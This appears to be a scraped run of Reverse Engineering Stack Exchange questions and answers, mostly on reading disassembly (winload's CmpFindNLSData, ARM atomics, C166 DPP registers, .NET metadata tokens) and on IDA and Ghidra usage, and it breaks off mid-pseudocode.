00893ec8 8b5d08 mov ebx,dword ptr [ebp+8] 00893ecb 6a36 push 36h 00893ecd 58 pop eax 00893ece 663907 cmp word ptr [edi],ax 00893ed1 8b7d0c mov edi,dword ptr [ebp+0Ch] 00893ed4 0f8496000000 je winload!CmpFindNLSData+0x360 (00893f70) 00893eda 8d45e0 lea eax,[ebp-20h] 00893edd 50 push eax 00893ede ff75f4 push dword ptr [ebp-0Ch] 00893ee1 56 push esi 00893ee2 ff5604 call dword ptr [esi+4] 00893ee5 85c0 test eax,eax 00893ee7 0f84b9feffff je winload!CmpFindNLSData+0x196 (00893da6) 00893eed 8d4dd8 lea ecx,[ebp-28h] 00893ef0 8bd0 mov edx,eax 00893ef2 51 push ecx 00893ef3 8bce mov ecx,esi 00893ef5 e88c310000 call winload!CmpFindValueByName (00897086) 00893efa 894508 mov dword ptr [ebp+8],eax 00893efd 8d45c8 lea eax,[ebp-38h] 00893f00 50 push eax 00893f01 56 push esi 00893f02 ff5608 call dword ptr [esi+8] 00893f05 8d45e0 lea eax,[ebp-20h] 00893f08 50 push eax 00893f09 56 push esi 00893f0a ff5608 call dword ptr [esi+8] 00893f0d 8b4508 mov eax,dword ptr [ebp+8] 00893f10 83f8ff cmp eax,0FFFFFFFFh 00893f13 0f8495feffff je winload!CmpFindNLSData+0x19e (00893dae) 00893f19 8d4dd0 lea ecx,[ebp-30h] 00893f1c 51 push ecx 00893f1d 50 push eax 00893f1e 56 push esi 00893f1f ff5604 call dword ptr [esi+4] 00893f22 85c0 test eax,eax 00893f24 0f8484feffff je winload!CmpFindNLSData+0x19e (00893dae) 00893f2a 8b5508 mov edx,dword ptr [ebp+8] 00893f2d 8d4dc0 lea ecx,[ebp-40h] 00893f30 51 push ecx 00893f31 8d4df8 lea ecx,[ebp-8] 00893f34 51 push ecx 00893f35 50 push eax 00893f36 8bce mov ecx,esi 00893f38 e8c1320000 call winload!CmpValueToData (008971fe) 00893f3d 894704 mov dword ptr [edi+4],eax 00893f40 85c0 test eax,eax 00893f42 7408 je winload!CmpFindNLSData+0x33c (00893f4c) 00893f44 8d45c0 lea eax,[ebp-40h] 00893f47 50 push eax 00893f48 56 push esi 00893f49 ff5608 call dword ptr [esi+8] 00893f4c 8d45d0 lea eax,[ebp-30h] 00893f4f 50 push eax 00893f50 56 push esi 00893f51 ff5608 call dword ptr [esi+8] 00893f54 33c9 xor ecx,ecx 00893f56 394f04 cmp dword ptr [edi+4],ecx 00893f59 0f844ffeffff je winload!CmpFindNLSData+0x19e (00893dae) 00893f5f 8b45f8 mov eax,dword ptr [ebp-8] 00893f62 66894702 mov word ptr [edi+2],ax 00893f66 668907 mov word ptr [edi],ax 00893f69 394de8 cmp dword ptr [ebp-18h],ecx 00893f6c 7412 je winload!CmpFindNLSData+0x370 (00893f80) 00893f6e eb02 jmp winload!CmpFindNLSData+0x362 (00893f72) 00893f70 33c9 xor ecx,ecx 00893f72 33c0 xor eax,eax 00893f74 894b04 mov dword ptr [ebx+4],ecx 00893f77 668903 mov word ptr [ebx],ax 00893f7a 894f04 mov dword ptr [edi+4],ecx 00893f7d 668907 mov word ptr [edi],ax 00893f80 8b4d10 mov ecx,dword ptr [ebp+10h] 00893f83 b001 mov al,1 00893f85 6a14 push 14h 00893f87 5a pop edx 00893f88 c741044c1a8e00 mov dword ptr [ecx+4],offset winload!`string' (008e1a4c) 00893f8f 66895102 mov word ptr [ecx+2],dx 00893f93 668911 mov word ptr [ecx],dx 00893f96 e915feffff jmp winload!CmpFindNLSData+0x1a0 (00893db0) 00893f9b cc int 3 </code></pre>
How to track output parameters in disassembly?
|disassembly|windows|functions|calling-conventions|
<p>There are three functions exposed by <code>ida_nalt</code> and two of those aliased from <code>idc</code> module.</p> <ul> <li><code>idc.get_root_filename</code> = <code>ida_nalt.get_root_filename</code><br /> Returns the file name only (no leading path elements; <a href="https://hex-rays.com/products/ida/support/ida74_idapython_no_bc695_porting_guide.shtml" rel="nofollow noreferrer">old name <code>idc.GetInputFile</code></a>)</li> <li><code>idc.get_input_file_path</code> = <code>ida_nalt.get_input_file_path</code> Returns the full file path (<a href="https://hex-rays.com/products/ida/support/ida74_idapython_no_bc695_porting_guide.shtml" rel="nofollow noreferrer">old name <code>idc.GetInputFilePath</code></a>) ida_nalt.get_input_file_path</li> <li>and separately <code>ida_nalt.dbg_get_input_path</code></li> </ul> <p>All of them return a <code>str</code> and take no arguments.</p> <p>PS: didn't want to butcher the original answer.</p>
25769
2020-08-29T09:23:10.997
<p>I am running my IDA script on many files (batching), and i need to get the file name the script is running on within the script. the problem is i cannot find any API that does that.</p> <p>the closest things i found was GetIdbDir(), which doesn't include the file name, also there seems to be a get_path function in ida_loader, but it expects a c type pointer, when i gave it a python string it failed.</p>
Get current file name with IDApython
|ida|idapython|idapro-sdk|ida-plugin|
<p>Looks like full bitfield support for the decompiler is slated for a future release according to a comment on Ghidra's github issues: <a href="https://github.com/NationalSecurityAgency/ghidra/issues/1059#issuecomment-534651905" rel="nofollow noreferrer">Bitfields don't seem to decompile very well #1059</a></p>
25775
2020-08-29T12:05:40.520
<p>Suppose we have the following C source:</p> <pre><code>typedef struct { int bit0 : 1; int bit1 : 1; int bit2 : 1; int bit3 : 1; } bit_struct; bit_struct a; void setBit3() { a.bit3 = 1; } </code></pre> <p>When we compile it and open the result in Ghidra, the decompilation window shows</p> <pre><code>void setBit3(void) { a = a | 8; return; } </code></pre> <p>If we give Ghidra the declaration of <code>bit_struct</code> (using <code>File</code> -&gt; <code>Parse C Source</code>), and then go to the location of <code>a</code> and set its data type to <code>bit_struct</code>, the decompilation changes to</p> <pre><code>a = (bit_struct)((byte)a | 8); </code></pre> <p>which still doesn't access <code>bit3</code> by declared name.</p> <p>How can we make Ghidra properly decompile it?</p>
How to make Ghidra recognize bit fields?
|decompilation|ghidra|
<p>you can add some print address of variable debug aid in your source to get a grip of these addresses</p> <p>see the disassembly of line no 5 in the paste below</p> <pre><code>#include &lt;stdio.h&gt; int main (void) { char * q; q = &quot;/&quot;; printf(&quot;%p\n&quot;,&amp;q); } </code></pre> <p>disassembly</p> <pre><code>slashaddr!main: 3 01141000 55 push ebp 3 01141001 8bec mov ebp,esp 3 01141003 51 push ecx 5 01141004 c745fc90011801 mov dword ptr [ebp-4], (01180190) </code></pre>
25778
2020-08-29T17:49:18.133
<p>The following is the code snippet (shown partially) I have:</p> <pre><code>q = strrchr(resolved, '/'); /* given /home/misha/docs.txt, q now pts to the last slash */ if (q != NULL) { p = q + 1; /* p points to docs.txt */ if (q == resolved) q = &quot;/&quot;; else { do { --q; } while (q &gt; resolved &amp;&amp; *q == '/'); </code></pre> <p>The generated output with -S flag using objdump:</p> <pre><code>401789: e8 7a fb ff ff call 401308 &lt;strrchr&gt; 40178e: 48 89 45 d0 mov QWORD PTR [rbp-0x30],rax if (q != NULL) { 401792: 48 83 7d d0 00 cmp QWORD PTR [rbp-0x30],0x0 401797: 0f 84 12 01 00 00 je 4018af &lt;fb_realpath+0x22d&gt; p = q + 1; /* p points to docs.txt */ 40179d: 48 8b 45 d0 mov rax,QWORD PTR [rbp-0x30] 4017a1: 48 83 c0 01 add rax,0x1 4017a5: 48 89 45 d8 mov QWORD PTR [rbp-0x28],rax if (q == resolved) 4017a9: 48 8b 45 d0 mov rax,QWORD PTR [rbp-0x30] 4017ad: 48 3b 85 e0 fe ff ff cmp rax,QWORD PTR [rbp-0x120] 4017b4: 75 0a jne 4017c0 &lt;fb_realpath+0x13e&gt; q = &quot;/&quot;; 4017b6: 48 c7 45 d0 c5 20 40 mov QWORD PTR [rbp-0x30],0x4020c5 4017bd: 00 4017be: eb 33 jmp 4017f3 &lt;fb_realpath+0x171&gt; else { do { --q; 4017c0: 48 83 6d d0 01 sub QWORD PTR [rbp-0x30],0x1 } while (q &gt; resolved &amp;&amp; *q == '/'); 4017c5: 48 8b 45 d0 mov rax,QWORD PTR [rbp-0x30] 4017c9: 48 3b 85 e0 fe ff ff cmp rax,QWORD PTR [rbp-0x120] 4017d0: 76 0b jbe 4017dd &lt;fb_realpath+0x15b&gt; 4017d2: 48 8b 45 d0 mov rax,QWORD PTR [rbp-0x30] 4017d6: 0f b6 00 movzx eax,BYTE PTR [rax] 4017d9: 3c 2f cmp al,0x2f 4017db: 74 e3 je 4017c0 &lt;fb_realpath+0x13e&gt; </code></pre> <p>Now, I have a question about <code>q = &quot;/&quot;;</code> instruction. <code>q</code> is defined as a <code>char*</code> and as seen from this examples, it contains a value returned by <code>strrchr</code> fucntion. Then it is assigned to a string - <code>q = &quot;/&quot;;</code> further in the code. Now, the instruction which represents that in assembly is - <code>mov QWORD PTR [rbp-0x30],0x4020c5</code>. I have very hard time understanding this instruction. Now, my understanding is that, it supposed to move the string &quot;/&quot; to the location pointed by <code>q</code>. But how does it know the location pointed by <code>q</code>? i.e. <code>rbp-0x30</code> is a location on the stack where <code>q</code> is stored. And this location is supposed to contain the address of the object where <code>q</code> is pointing. But, I interpret <code>mov QWORD PTR [rbp-0x30],0x4020c5</code> as move string <code>0x4020c5</code> to <code>rbp-0x30</code> i.e. the address of <code>q</code>. That is where I am confused as that location is supposed to contain the address and not the string.</p> <p>Thanks for reading and your help is appreciated.</p>
how to does this instruction work: `mov qword ptr [rbp-0x30], 0x4020c5`
|assembly|x86|x86-64|
<p>That's how the concept of virtual address space works. Every process has their own address space which can be addressed. Thanks to this you can't directly read from/write to memory of another process.</p> <p>You can specify the address where the process base module will be mapped into process memory during compilation/linking process, for example for MSVC linker it is /BASE command. Usually if ASLR (Address Space Layout Randomization) is disabled, the base address is 0x400000 for 32 bit images and 0x140000000 for 64 bit images.</p> <p>When you, for example, want to read a value at particular address in your process, kernel maps address from the virtual address space into a physical address (for example, to the address where the value is physically onto your RAM stick). Thanks to this two independent processes can have different values at the same address (in their own address spaces).</p> <p>For example if you evaluate <code>*(int*)(0x600000)</code> in program A it can return <code>5</code>, but the same operation can return <code>6</code> in program B .</p> <blockquote> <p>The virtual address space for a process is the set of virtual memory addresses that it can use. The address space for each process is private and cannot be accessed by other processes unless it is shared.</p> <p>A virtual address does not represent the actual physical location of an object in memory; instead, the system maintains a page table for each process, which is an internal data structure used to translate virtual addresses into their corresponding physical addresses. Each time a thread references an address, the system translates the virtual address to a physical address.</p> </blockquote> <p>Source: <a href="https://docs.microsoft.com/en-us/windows/win32/memory/virtual-address-space" rel="nofollow noreferrer">https://docs.microsoft.com/en-us/windows/win32/memory/virtual-address-space</a></p>
25811
2020-09-04T10:46:09.093
<p>when following certain youtube tutorials, the address in memory for the instructions are same in my machine and the youtuber's machine. How is that possible? Are instructions provided with memory address during compilation? If so then, there are only limited numbers of memory addresses in a machine, if 2 compiled programs are given the same address, what happens then?</p>
are address for instructions specified during compilation?
|disassembly|debugging|
<blockquote> <p>the last byte of API/library call instructions is always <code>0x0A</code></p> </blockquote> <p>It's because calls needs to have method (ref) as a parameter and methods are defined in the table that has an id of <code>0x0A</code>.</p> <p>Having bytes of the call like this <code>280600000A</code> let's go one by one.</p> <ul> <li><code>0x28</code> - is the value for opcode 'call' and it takes one operand.</li> <li>the rest of the opcode is the metadata token so basically the information which method should be called</li> </ul> <p>But why <code>0x0A</code> is at the end? It should be read as a little-endian so the value should be <code>0x0A000006</code>. But what are the bytes?</p> <p>From <a href="https://en.wikipedia.org/wiki/Metadata_(CLI)" rel="nofollow noreferrer">Wikipedia</a>:</p> <blockquote> <p>When CIL code uses metadata it does so through a metadata token. This is a 32-bit value where the top 8 bits identify the appropriate metadata table, and the remaining 24 bits give the index of the metadata in the table.</p> </blockquote> <p>So the first value is the table id - and as I've mentioned the id of member's ref table is value <code>0x0A</code>. And the rest is an index in the table (in our case <code>0x6</code>).</p> <p>More about the tables? Those are basically part of .NET metadata information, that can be seen when you open one in i.e. dnSpy</p> <p><a href="https://i.stack.imgur.com/aYDaS.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/aYDaS.png" alt="enter image description here" /></a></p> <p>As one can see <code>0x0A</code> is assigned to the <code>MemberRef</code> (containing both methods and fields references)</p> <blockquote> <p>what about operands of ldstr instructions?</p> </blockquote> <p>In this instance, the instruction has the following structure <code>72XXXX0070</code> and <code>0x70</code> indicates different stream - namely User defined strings or <code>#US</code>. The rest (again interpreted as a little-ending 32-bit val) is the offset (in bytes) in <code>#US</code> table.</p> <p>Generally dnSpy is a great tool to verifying those values as one can metadata tables.</p> <p>The linked article (and the whole series is a great resource) it does explain (I think) the structure but maybe indirectly - just find the information about metadata token.</p> <p>We can induce from it the whole structure of a metadata token.</p>
25814
2020-09-04T14:47:36.487
<p>I tried googling but couldn't find any good source that explains the structure of memory access instructions like ldstr and call instructions</p> <p>for example based on experience, the last byte of API/library call instructions is always 0x0A (let me know if I'm wrong), but why? what are the structure of the 4 bytes of call operands? what about operands of ldstr instructions?</p> <p>because they are different from native apps, they are not raw offsets, they seem to be offsets into a table but i cannot find any post that explains this in detail?</p> <p>the best thing i found is this :</p> <p><a href="https://www.red-gate.com/simple-talk/blogs/anatomy-of-a-net-assembly-clr-metadata-1/" rel="nofollow noreferrer">https://www.red-gate.com/simple-talk/blogs/anatomy-of-a-net-assembly-clr-metadata-1/</a></p> <p>but it still doesn't explain many things</p>
Structure of operand bytes in .NET call and data access IL instructions?
|ida|windows|malware|.net|
<p>compiling this code in <a href="https://godbolt.org/z/ncPdKa" rel="nofollow noreferrer">godbolt.org</a> the c code assembles to mov 16(%ebp),%edx</p> <p>which is variable c not b as in your screenshot</p> <p><a href="https://i.stack.imgur.com/wySPq.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/wySPq.png" alt="enter image description here" /></a></p>
25820
2020-09-06T02:04:28.940
<p>I understand the assembly properly. I am just confused about variable 'b' and 'c'. It looks like b is stored at 12(%ebp). I conclude this from <code>cmp 12(%ebp), %eax</code>. If you look at func_8048516, it is adding -0x4(%ebp) which is 'i' and 12(%ebp) which is b. It should translate into <code>a=b+i</code> in the source code but it's <code>a=c+i</code>. Can anyone explain this?</p> <p><a href="https://i.stack.imgur.com/8AwnV.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/8AwnV.png" alt="Assembly code" /></a></p> <p><a href="https://i.stack.imgur.com/czeVX.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/czeVX.png" alt="Source code" /></a></p>
Need help to understand this assembly for fibonacci seq
|assembly|
<p>This general pattern of exclusive-access instructions is usually seen when atomic variables are modified.</p> <p><strong>C++ Example (C++11 or later)</strong></p> <pre><code> #include &lt;atomic&gt; void release( std::atomic&lt;int&gt;&amp; refcount ) { refcount--; } </code></pre> <p>You can see <a href="https://godbolt.org/z/PvTK8o" rel="nofollow noreferrer">here on godbolt</a> that GCC's ARM64 compilation of the above produces your assembly code.</p> <p><strong>C Example (C11)</strong></p> <pre><code>#include &lt;stdatomic.h&gt; void release( _Atomic int* refcount ) { (*refcount)--; } </code></pre> <p>Godbolt version <a href="https://godbolt.org/z/5ve8c5" rel="nofollow noreferrer">here</a></p> <p><strong>C Example (prior to C11, using GCC built-ins)</strong></p> <pre><code>void release( int* refcount ) { __atomic_sub_fetch( refcount, 1, __ATOMIC_ACQ_REL ); } </code></pre> <p>Godbolt version <a href="https://godbolt.org/z/1687vr" rel="nofollow noreferrer">here</a></p>
25823
2020-09-06T11:18:43.537
<p>Often while disassembling <code>ARM</code> files, I see some code snippet with the following pattern:</p> <pre><code>loc_BB30: .text:C0 FE 5F 88 LDAXR WZR, W0, [X22] .text:00 04 00 51 SUB W0, W0, #1 .text:C0 FE 01 88 STLXR W1, W0, [X22] .text:A1 FF FF 35 CBNZ W1, loc_BB30 </code></pre> <p>Which is translated to the following decompile code:</p> <pre><code> do { v2 = __ldaxr((unsigned int *)v1); v1 = (unsigned int)(v1 - 1); } while ( __stlxr(v1, v3) ); </code></pre> <p>What is the meaning of this code? What kind of c code actually produces this kind of snippet?</p>
What is the meaning of ARM LDAXR/STLXR instructions?
|ida|disassembly|arm|
<p>Okay, so let's start by converting the first four instructions to rough pseudocode. I'll include the instructions as comments so you can see what each one does.</p> <pre><code>r5 = r4; // mov r5, r4 - Set R5 to equal the value in R4 r5 &gt;&gt;= 14; // shr r5, #14 - Shift R5 14 bits to the right r5 &lt;&lt;= 1; // shl r5, #1 - Shift R5 1 bit to the left r5 = *(0xFE00 + r5); // mov r5, [r5+0FE00h] - Add 0xFE00 to R5, treat the sum as a memory address, and set R5 to equal the 16-bit value at that address. </code></pre> <p>Notice how r5 is shifted 14 bits to the right, then one to the left. At first glance it may look like this is effectively just a shift to the right by 13 bits, but any bits that are shifted out of the register are lost, and shifting to the left doesn't bring them back. So those first two shifts do add up to a 13 bit shift to the right, except it also clears the least significant bit of r5.</p> <p>So the above code fragment can be simplified as follows:</p> <pre><code>r5 = r4 &gt;&gt; 13 &amp; ~1 r5 = *(0xFE00 + r5) </code></pre> <p>The <code>bmov</code> instruction sets one bit of a register to equal a bit in another register. You can think of it like <code>mov</code>, except it works on single bits instead of entire registers at once. These two lines:</p> <pre><code>bmov r4.14, r5.0 bmov r4.15, r5.1 </code></pre> <p>mean to take bit 0 (the least significant) in r5, and copy it to bit 14 in r4. Then take bit 1 in r5, and copy it to bit 15 (the most significant) in r4. In simpler terms, it sets the two most significant bits of r4 to equal the two least significant bits of r5. Adding that line, as well as the rest of the function, to our pseudocode:</p> <pre><code>r5 = r4 &gt;&gt; 13 &amp; ~1; r5 = *(0xFE00 + r5); r4 = r4 &amp; 0x3FFF | r5 &lt;&lt; 14 r5 &gt;&gt;= 2; // shr r5, #2 - Shift R5 2 bits to the right return; // rets - Return from a segmented function (that is, a function called using the 'calls' instruction.) </code></pre> <p>The address 0xFE00, as indicated by the comment in the disassembly, refers to a location known as 'DPP0'. This is a 16-bit register which stores the current &quot;data page pointer&quot;, which control the mapping of 16-bit addresses to a 24-bit physical address space. Importantly, it is followed sequentially by three more 16-bit registers, <code>DPP1</code>-<code>3</code>. So we can think of this like an array which is being indexed, like so:</p> <pre><code>volatile uint16_t dpp[4]; // actually located at 0xFE00 r5 = dpp[r5]; // equivalent to: // r5 &lt;&lt;= 1; // r5 = *(0xFE00 + r5); </code></pre> <p><strong>Edit:</strong> According to the comments(below of this post) I (@Unicornux) converted this piece of code to this :</p> <pre><code>uint32_t get_Value(uint16_t _arg) { uint32_t Value = 0; volatile uint16_t dpp[4] = {0x302,0x403,0x706,0xA08}; uint16_t temp = _arg &gt;&gt; 14; temp = dpp[temp]; _arg = (_arg &amp; 0x3FFF) | (temp &lt;&lt; 14); temp &gt;&gt;= 2; Value = (temp &lt;&lt; 16) | (_arg &amp; 0xFFFF); return Value; } </code></pre> <p><strong>Explanation of the function's purpose:</strong> The function accepts a 16-bit address in r4, and determines what 24-bit physical address it represents, using the current values of the DPP registers. It returns this address as a 32-bit number, with the upper word in r5 and the lower word in r4.</p>
25824
2020-09-06T11:36:13.127
<p>What the meaning of this code with an explanation?</p> <pre><code>sub_37C2: mov r5, r4 shr r5, #14 shl r5, #1 mov r5, [r5+0FE00h] ; DPP0 bmov r4.14, r5.0 bmov r4.15, r5.1 shr r5, #2 rets ; End of function sub_37C2 </code></pre>
The C166 family code meaning
|ida|disassembly|memory|static-analysis|c166|
<p>The entry function you mentioned is the function where the entry point of the program is located. This entry function contains the first instructions of the program executed when you run the program.</p> <p>The main function recognized by disassemblers is the the function where the main function of the program which code is compiled directly from the the developer's main function code.</p>
25827
2020-09-07T06:50:08.380
<p>Sometimes, I see while disassembling a binary that there is the <code>main</code> function. but sometimes, instead of <code>main</code>, there is <code>entry</code> function. I want to know what is the difference between <code>entry</code> and <code>main</code>.</p>
Difference between Main and Entry
|disassembly|binary-analysis|c|
<p>ok it is _fastCall<br /> so this function takes 5 arguments<br /> 2 in registers ecx,edx 3 in stack 8,12,16<br /> and As I Commented edx is used as an argument to the First Indirect call [esi+4]</p> <p>copy pasted the disassembly to notepad++ used the column editor to rip out the bytes from the paste<br /> pasted the bytes in hxd to make a bin</p> <pre><code>Offset(h) 00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F 00000000 8B FF 55 8B EC 83 EC 40 53 56 57 8D 45 E0 8B F1 ‹ÿU‹ìƒì@SVW.Eà‹ñ 00000010 50 33 DB 89 75 EC 83 CF FF 89 5D CC 52 56 89 7D P3Û‰uìƒÏÿ‰]ÌRV‰} 00000020 C8 89 7D D0 89 5D D4 89 7D E0 89 5D E4 89 7D C0 ȉ}Љ]Ô‰}à‰]ä‰}À 00000030 89 5D C4 89 5D E8 FF 56 04 85 C0 0F 84 5D 01 00 ‰]ĉ]èÿV.…À.„].. 00000040 00 8D 4D F4 8B D0 51 68 B8 20 8E 00 8B CE E8 69 ..Mô‹ÐQh¸ Ž.‹Îèi 00000050 51 00 00 8D 45 E0 50 56 FF 56 08 39 7D F4 0F 84 Q...EàPVÿV.9}ô.„ 00000060 3A 01 00 00 8D 45 E0 50 FF 75 F4 56 FF 56 04 85 :....EàPÿuôVÿV.… 00000070 C0 0F 84 27 01 00 00 8D 4D F4 8B D0 51 68 F8 20 À.„'....Mô‹ÐQhø 00000080 8E 00 8B CE E8 33 51 00 00 8D 45 E0 50 56 FF 56 Ž.‹Îè3Q...EàPVÿV 00000090 08 39 7D F4 0F 84 04 01 00 00 8D 45 E0 50 FF 75 .9}ô.„.....EàPÿu 000000A0 F4 56 FF 56 04 85 C0 0F 84 F1 00 00 00 8D 4D F4 ôVÿV.…À.„ñ....Mô 000000B0 8B D0 51 68 08 21 8E 00 8B CE E8 FD 50 00 00 8D ‹ÐQh.!Ž.‹ÎèýP... 000000C0 45 E0 50 56 FF 56 08 39 7D F4 0F 84 CE 00 00 00 EàPVÿV.9}ô.„Î... 000000D0 8D 45 E0 50 FF 75 F4 56 FF 56 04 85 C0 0F 84 BB .EàPÿuôVÿV.…À.„» 000000E0 00 00 00 68 70 22 8E 00 8B D0 8B CE E8 85 33 00 ...hp&quot;Ž.‹Ð‹Îè…3. 000000F0 00 8B F8 8D 45 E0 50 56 FF 56 08 83 FF FF 0F 84 .‹ø.EàPVÿV.ƒÿÿ.„ 00000100 9A 00 00 00 8D 45 D0 50 57 56 FF 56 04 85 C0 0F š....EÐPWVÿV.…À. 00000110 84 89 00 00 00 8D 4D C8 8B D7 51 8D 4D F8 51 50 „‰....MÈ‹×Q.MøQP 00000120 8B CE E8 C7 34 00 00 8B F8 8D 45 D0 50 56 89 7D ‹ÎèÇ4..‹ø.EÐPV‰} 00000130 DC FF 56 08 85 FF 74 66 8B 55 F8 33 C9 33 C0 66 ÜÿV.…ÿtf‹Uø3É3Àf 00000140 89 55 DA 66 89 4D D8 C7 45 F0 02 00 00 00 66 3B ‰UÚf‰MØÇEð....f; 00000150 C2 73 1D 8B 75 F0 0F B7 C1 D1 E8 66 39 1C 47 74 Âs.‹uð.·ÁÑèf9.Gt 00000160 0C 66 03 CE 66 89 4D D8 66 3B CA 72 E9 8B 75 EC .f.Îf‰MØf;Êré‹uì 00000170 8B 5D 08 6A 36 58 66 39 07 75 0C C7 45 E8 01 00 ‹].j6Xf9.u.ÇEè.. 00000180 00 00 E9 92 00 00 00 8D 45 E0 50 FF 75 F4 56 FF ..é’....EàPÿuôVÿ 00000190 56 04 85 C0 75 13 8D 45 C8 50 56 FF 56 08 32 C0 V.…Àu..EÈPVÿV.2À 000001A0 5F 5E 5B 8B E5 5D C2 0C 00 8D 4D D8 8B D0 51 8B _^[‹å]Â...MØ‹ÐQ‹ 000001B0 CE E8 C0 32 00 00 8B F8 8D 45 C8 50 56 FF 56 08 ÎèÀ2..‹ø.EÈPVÿV. 000001C0 33 C0 89 45 DC 8D 45 E0 50 56 FF 56 08 83 FF FF 3À‰EÜ.EàPVÿV.ƒÿÿ 000001D0 74 CC 8D 45 D0 50 57 56 FF 56 04 85 C0 74 BF 8D tÌ.EÐPWVÿV.…Àt¿. 000001E0 4D C0 8B D7 51 8D 4D F8 51 50 8B CE E8 FD 33 00 MÀ‹×Q.MøQP‹Îèý3. 000001F0 00 89 43 04 85 C0 74 08 8D 45 C0 50 56 FF 56 08 .‰C.…Àt..EÀPVÿV. 00000200 8D 45 D0 50 56 FF 56 08 33 C0 39 43 04 74 8F 8B .EÐPVÿV.3À9C.t.‹ 00000210 45 F8 66 89 43 02 66 89 03 8D 45 E0 50 FF 75 F4 Eøf‰C.f‰..EàPÿuô 00000220 56 FF 56 04 85 C0 0F 84 72 FF FF FF 68 48 22 8E VÿV.…À.„rÿÿÿhH&quot;Ž 00000230 00 8B D0 8B CE E8 3C 32 00 00 8B F8 8D 45 E0 50 .‹Ð‹Îè&lt;2..‹ø.EàP 00000240 56 FF 56 08 83 FF FF 0F 84 51 FF FF FF 8D 45 D0 VÿV.ƒÿÿ.„Qÿÿÿ.EÐ 00000250 50 57 56 FF 56 04 85 C0 0F 84 40 FF FF FF 8D 4D PWVÿV.…À.„@ÿÿÿ.M 00000260 C8 8B D7 51 8D 4D F8 51 50 8B CE E8 7E 33 00 00 È‹×Q.MøQP‹Îè~3.. 00000270 8B F8 8D 45 D0 50 56 89 7D DC FF 56 08 85 FF 0F ‹ø.EÐPV‰}ÜÿV.…ÿ. 00000280 84 19 FF FF FF 8B 55 F8 33 C9 33 C0 66 89 55 DA „.ÿÿÿ‹Uø3É3Àf‰UÚ 00000290 66 89 4D D8 66 3B C2 73 22 8B 75 F0 33 DB 0F B7 f‰MØf;Âs&quot;‹uð3Û.· 000002A0 C1 D1 E8 66 39 1C 47 74 0C 66 03 CE 66 89 4D D8 ÁÑèf9.Gt.f.Îf‰MØ 000002B0 66 3B CA 72 E9 8B 75 EC 8B 5D 08 6A 36 58 66 39 f;Êré‹uì‹].j6Xf9 000002C0 07 8B 7D 0C 0F 84 96 00 00 00 8D 45 E0 50 FF 75 .‹}..„–....EàPÿu 000002D0 F4 56 FF 56 04 85 C0 0F 84 B9 FE FF FF 8D 4D D8 ôVÿV.…À.„¹þÿÿ.MØ 000002E0 8B D0 51 8B CE E8 8C 31 00 00 89 45 08 8D 45 C8 ‹ÐQ‹ÎèŒ1..‰E..EÈ 000002F0 50 56 FF 56 08 8D 45 E0 50 56 FF 56 08 8B 45 08 PVÿV..EàPVÿV.‹E. 00000300 83 F8 FF 0F 84 95 FE FF FF 8D 4D D0 51 50 56 FF ƒøÿ.„•þÿÿ.MÐQPVÿ 00000310 56 04 85 C0 0F 84 84 FE FF FF 8B 55 08 8D 4D C0 V.…À.„„þÿÿ‹U..MÀ 00000320 51 8D 4D F8 51 50 8B CE E8 C1 32 00 00 89 47 04 Q.MøQP‹ÎèÁ2..‰G. 00000330 85 C0 74 08 8D 45 C0 50 56 FF 56 08 8D 45 D0 50 …Àt..EÀPVÿV..EÐP 00000340 56 FF 56 08 33 C9 39 4F 04 0F 84 4F FE FF FF 8B VÿV.3É9O..„Oþÿÿ‹ 00000350 45 F8 66 89 47 02 66 89 07 39 4D E8 74 12 EB 02 Eøf‰G.f‰.9Mèt.ë. 00000360 33 C9 33 C0 89 4B 04 66 89 03 89 4F 04 66 89 07 3É3À‰K.f‰.‰O.f‰. 00000370 8B 4D 10 B0 01 6A 14 5A C7 41 04 4C 1A 8E 00 66 ‹M.°.j.ZÇA.L.Ž.f 00000380 89 51 02 66 89 11 E9 15 FE FF FF CC ‰Q.f‰.é.þÿÿÌ </code></pre> <p>loaded the bin file as raw x86 le @base 0x893c10 added a few structs,overridesfunction declarations and a passable PseudoCode emerges as below</p> <pre><code>bool __fastcall CmpFindNLSData(_HHIVE32 *MyHive,ulong *index,UNICODE_STRING *ACP_NSL,UNICODE_STRING *OEMHAL, UNICODE_STRING *DEFINTL) { bool bVar1; ulong *indx; ulong uVar2; short *psVar3; PWSTR pWVar4; uint uVar5; ulong local_44; ulong local_3c; ulong local_34; ushort local_2c [2]; short *local_28; ulong local_24; ulong local_10; USHORT local_c [4]; local_3c = 0xffffffff; local_34 = 0xffffffff; local_24 = 0xffffffff; local_44 = 0xffffffff; bVar1 = false; indx = (*MyHive-&gt;GetCellRoutine)(MyHive,index); if (indx == (ulong *)0x0) { return false; } func_0x00898dcc(MyHive,indx,(UNICODE_STRING *)0x8e20b8,&amp;local_10); (*MyHive-&gt;ReleaseCellRoutine)(MyHive,(ulong)&amp;local_24); if (local_10 == 0xffffffff) { return false; } indx = (ulong *)(*MyHive-&gt;GetCellRoutine)(MyHive,(ulong *)local_10); if (indx == (ulong *)0x0) { return false; } func_0x00898dcc(MyHive,indx,(UNICODE_STRING *)0x8e20f8,&amp;local_10); (*MyHive-&gt;ReleaseCellRoutine)(MyHive,(ulong)&amp;local_24); if (local_10 == 0xffffffff) { return false; } indx = (ulong *)(*MyHive-&gt;GetCellRoutine)(MyHive,(ulong *)local_10); if (indx == (ulong *)0x0) { return false; } func_0x00898dcc(MyHive,indx,(UNICODE_STRING *)0x8e2108,&amp;local_10); (*MyHive-&gt;ReleaseCellRoutine)(MyHive,(ulong)&amp;local_24); if (local_10 == 0xffffffff) { return false; } uVar2 = (*MyHive-&gt;GetCellRoutine)(MyHive,(ulong *)local_10); if (uVar2 == 0) { return false; } indx = (ulong *)func_0x00897086(0x8e2270); (*MyHive-&gt;ReleaseCellRoutine)(MyHive,(ulong)&amp;local_24); if (indx == (ulong *)0xffffffff) { return false; } uVar2 = (*MyHive-&gt;GetCellRoutine)(MyHive,indx); if (uVar2 == 0) { return false; } psVar3 = (short *)func_0x008971fe(uVar2,local_c,&amp;local_3c); local_28 = psVar3; (*MyHive-&gt;ReleaseCellRoutine)(MyHive,(ulong)&amp;local_34); if (psVar3 == (short *)0x0) { return false; } uVar5 = 0; local_2c[0] = 0; if (local_c[0] != 0) { do { if (*(short *)((int)psVar3 + uVar5) == 0) break; local_2c[0] = (short)uVar5 + 